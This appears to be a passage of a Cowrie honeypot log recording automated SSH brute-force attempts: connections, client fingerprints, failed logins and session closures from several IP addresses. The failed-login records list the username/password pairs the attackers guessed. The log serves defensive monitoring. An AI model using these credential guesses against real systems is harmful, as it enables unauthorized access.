{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:55.851310Z","src_ip":"83.168.110.85","session":"f29349cadeba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:56.261840Z","src_ip":"83.168.110.85","session":"f29349cadeba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:57.390639Z","src_ip":"83.168.110.85","session":"f29349cadeba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.968018531799316,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:01.442428Z","src_ip":"205.210.31.111","session":"6487ad367a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59380,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc6967abb940","protocol":"ssh","message":"New connection: 83.168.110.85:59380 (159.203.135.109:22) [session: bc6967abb940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:06.115329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:06.160550Z","src_ip":"83.168.110.85","session":"bc6967abb940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:06.420079Z","src_ip":"83.168.110.85","session":"bc6967abb940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:06.813888Z","src_ip":"83.168.110.85","session":"bc6967abb940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:07.940994Z","src_ip":"83.168.110.85","session":"bc6967abb940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55350,"dst_ip":"159.203.135.109","dst_port":22,"session":"239dd9857ecf","protocol":"ssh","message":"New connection: 83.168.110.85:55350 (159.203.135.109:22) [session: 239dd9857ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:16.858512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:16.864119Z","src_ip":"83.168.110.85","session":"239dd9857ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:16.985543Z","src_ip":"83.168.110.85","session":"239dd9857ecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:17.363833Z","src_ip":"83.168.110.85","session":"239dd9857ecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:18.612913Z","src_ip":"83.168.110.85","session":"239dd9857ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":60698,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b232b3d394d","protocol":"ssh","message":"New connection: 103.118.29.129:60698 (159.203.135.109:22) [session: 4b232b3d394d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:18.779660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:18.785744Z","src_ip":"103.118.29.129","session":"4b232b3d394d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:19.029982Z","src_ip":"103.118.29.129","session":"4b232b3d394d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":52554,"dst_ip":"159.203.135.109","dst_port":22,"session":"2482ebfec614","protocol":"ssh","message":"New connection: 160.251.185.39:52554 (159.203.135.109:22) [session: 2482ebfec614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:19.897612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:19.905303Z","src_ip":"160.251.185.39","session":"2482ebfec614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"almacen123","message":"login attempt [root/almacen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:20.036427Z","src_ip":"103.118.29.129","session":"4b232b3d394d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:20.079423Z","src_ip":"160.251.185.39","session":"2482ebfec614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"memcache","message":"login attempt [root/memcache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:20.815005Z","src_ip":"160.251.185.39","session":"2482ebfec614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:21.286394Z","src_ip":"103.118.29.129","session":"4b232b3d394d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:21.992435Z","src_ip":"160.251.185.39","session":"2482ebfec614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51118,"dst_ip":"159.203.135.109","dst_port":22,"session":"78b6bda4daf0","protocol":"ssh","message":"New connection: 83.168.110.85:51118 (159.203.135.109:22) [session: 78b6bda4daf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:27.271712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:27.277100Z","src_ip":"83.168.110.85","session":"78b6bda4daf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:27.398592Z","src_ip":"83.168.110.85","session":"78b6bda4daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:27.765625Z","src_ip":"83.168.110.85","session":"78b6bda4daf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:28.891016Z","src_ip":"83.168.110.85","session":"78b6bda4daf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47198,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e7f7a7e45d9","protocol":"ssh","message":"New connection: 83.168.110.85:47198 (159.203.135.109:22) [session: 1e7f7a7e45d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:37.489533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:37.499899Z","src_ip":"83.168.110.85","session":"1e7f7a7e45d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":44820,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f173e9d965c","protocol":"ssh","message":"New connection: 152.32.171.99:44820 (159.203.135.109:22) [session: 3f173e9d965c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:37.568956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:37.585052Z","src_ip":"152.32.171.99","session":"3f173e9d965c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:37.621515Z","src_ip":"83.168.110.85","session":"1e7f7a7e45d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:37.803894Z","src_ip":"152.32.171.99","session":"3f173e9d965c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:37.989365Z","src_ip":"83.168.110.85","session":"1e7f7a7e45d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n4g10s","message":"login attempt [root/n4g10s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:38.704037Z","src_ip":"152.32.171.99","session":"3f173e9d965c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:39.113884Z","src_ip":"83.168.110.85","session":"1e7f7a7e45d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:39.923722Z","src_ip":"152.32.171.99","session":"3f173e9d965c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38100,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f41cbf4aa6f","protocol":"ssh","message":"New connection: 83.168.110.85:38100 (159.203.135.109:22) [session: 9f41cbf4aa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:47.613347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:40:47.620290Z","src_ip":"83.168.110.85","session":"9f41cbf4aa6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS"